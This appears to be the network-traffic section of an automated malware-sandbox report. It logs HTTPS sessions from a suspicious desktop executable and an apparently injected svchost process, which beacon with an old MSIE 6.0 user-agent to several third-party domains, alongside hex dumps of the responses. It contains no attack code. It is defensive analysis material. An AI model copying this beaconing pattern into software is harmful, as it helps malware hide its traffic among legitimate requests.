2023-03-10 06:56:16 UTC	576	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:16 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lFEg0W6Vvl5%2F0BPgaw5ipmzNptxCM5N3qRiSPlgXSgSa2mVGPEa3GmKEQMO6CW80cT8g0xJtCxI%2BIjp%2FOR13Ar06JMSruIvUIYvro65mB13ijJAFxaDdwKa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a823cae69183-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:16 UTC	576	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:16 UTC	577	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	53695	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	567	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	54324	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	567	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:16 UTC	567	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9ha6ROOXtmaSyabDQJ5U2sCfz7a%2Bo85eNV%2FwnISKr9YjsG0pv4GDYC55S%2FmlfGez2b6UrhmZx2LZ%2Bjqnlmg%2Bfooqae27B6jLr%2FHOAhJQHzD9bh2xo%2BX%2FPK0gttyN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8241bfd360e-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:16 UTC	568	IN	Data Raw: 31 65 61 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ea7<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:16 UTC	568	IN	Data Raw: 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 Data Ascii: device-width,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1">
2023-03-10 06:56:16 UTC	570	IN	Data Raw: 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 76 4f 4e 68 78 62 56 34 75 46 75 65 44 54 4d 4c 69 4c 76 36 30 53 45 4f 33 6c 72 7a 5f 47 52 42 7a 44 53 64 72 4e 33 69 79 77 55 2d 31 36 37 38 34 33 31 33 37 36 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 5a 30 70 4c 45 76 70 57 74 2e 54 2e 58 6c 62 58 79 57 45 4e 74 4c 36 37 58 42 49 62 4e 4b 43 69 54 52 59 51 57 5a 77 7a 48 73 30 2d 31 36 37 Data Ascii: orm" action="/?__cf_chl_f_tk=vONhxbV4uFueDTMLiLv60SEO3lrz_GRBzDSdrN3iywU-1678431376-0-gaNycGzNCPs" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="Z0pLEvpWt.T.XlbXyWENtL67XBIbNKCiTRYQWZwzHs0-167
2023-03-10 06:56:16 UTC	571	IN	Data Raw: 64 48 72 4c 64 70 6e 2d 67 4d 41 72 57 61 70 4d 57 41 4e 56 48 57 6b 34 52 6a 59 4a 61 43 44 37 30 2d 39 41 54 30 65 51 61 5f 58 5f 62 74 51 31 4d 34 39 38 44 4e 6c 51 4a 44 55 44 4c 78 76 54 64 56 76 54 68 51 30 7a 7a 4c 34 4a 57 51 74 43 33 54 57 38 45 35 52 48 77 33 74 68 4a 6f 73 67 52 4d 31 69 78 4f 6c 2d 39 76 6d 38 46 47 72 30 7a 48 63 4b 7a 4a 67 79 74 55 64 4e 74 7a 4e 69 77 6a 6a 75 47 30 67 62 36 75 47 45 6f 41 48 38 73 47 75 30 58 45 65 59 30 53 6a 63 46 36 71 67 47 66 5f 6c 6e 76 4b 73 4d 30 57 75 41 39 56 57 57 49 41 77 49 4d 35 33 57 38 51 35 79 36 71 47 33 59 57 62 37 4c 48 64 76 73 30 59 71 70 53 4f 32 32 48 32 44 50 4f 65 6c 4e 51 45 70 61 74 6b 41 63 6e 6f 66 53 33 42 66 44 57 55 31 74 6b 6a 56 72 68 6c 69 33 5f 43 51 52 78 76 54 38 7a Data Ascii: dHrLdpn-gMArWapMWANVHWk4RjYJaCD70-9AT0eQa_X_btQ1M498DNlQJDUDLxvTdVvThQ0zzL4JWQtC3TW8E5RHw3thJosgRM1ixOl-9vm8FGr0zHcKzJgytUdNtzNiwjjuG0gb6uGEoAH8sGu0XEeY0SjcF6qgGf_lnvKsM0WuA9VWWIAwIM53W8Q5y6qG3YWb7LHdvs0YqpSO22H2DPOelNQEpatkAcnofS3BfDWU1tkjVrhli3_CQRxvT8z
2023-03-10 06:56:16 UTC	572	IN	Data Raw: 61 38 32 34 31 62 66 64 33 36 30 65 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 64 36 37 65 32 65 39 35 62 66 33 37 36 30 63 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 76 4f 4e 68 78 62 56 34 75 46 75 65 44 54 4d 4c 69 4c 76 36 30 53 45 4f 33 6c 72 7a 5f 47 52 42 7a 44 53 64 72 4e 33 69 79 77 55 2d 31 36 37 38 34 33 31 33 37 36 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 Data Ascii: a8241bfd360e', cHash: 'd67e2e95bf3760c', cUPMDTk: "\/?__cf_chl_tk=vONhxbV4uFueDTMLiLv60SEO3lrz_GRBzDSdrN3iywU-1678431376-0-gaNycGzNCPs", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0', c
2023-03-10 06:56:16 UTC	574	IN	Data Raw: 66 36 67 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 71 6c 49 32 47 51 51 6b 5a 46 78 35 50 48 52 4d 32 4c 30 72 57 67 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 73 6b 44 59 49 30 4d 48 64 72 6c Data Ascii: f6g==', i2: 'qlI2GQQkZFx5PHRM2L0rWg==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7skDYI0MHdrl
2023-03-10 06:56:16 UTC	575	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 3e 0a 20 20 20 20 20 Data Ascii: cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contentinfo">
2023-03-10 06:56:16 UTC	576	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	54486	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	577	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:16 UTC	588	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:16 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:16 UTC	588	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	54014	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	613	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	50328	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:55:59 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:55:59 UTC	2	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:55:59 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:55:59 UTC	2	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:55:59 UTC	18	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:55:59 UTC	34	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:55:59 UTC	50	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	54616	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	613	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:16 UTC	627	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:16 UTC	627	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	54830	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	660	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:16 UTC	660	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LhLuC6al%2BeVwwPYfO93iBpdpcjhu972opCrJIXtoyCRjqoJLA7vbtIHOREl8lDSDoiqWectkAbC8M5YVDDc8lw2w%2FI3A182UayP8AvatuaxwYc%2FerJfWEaFJ8wPR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8267dd69a35-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:16 UTC	661	IN	Data Raw: 31 65 62 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1eba<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
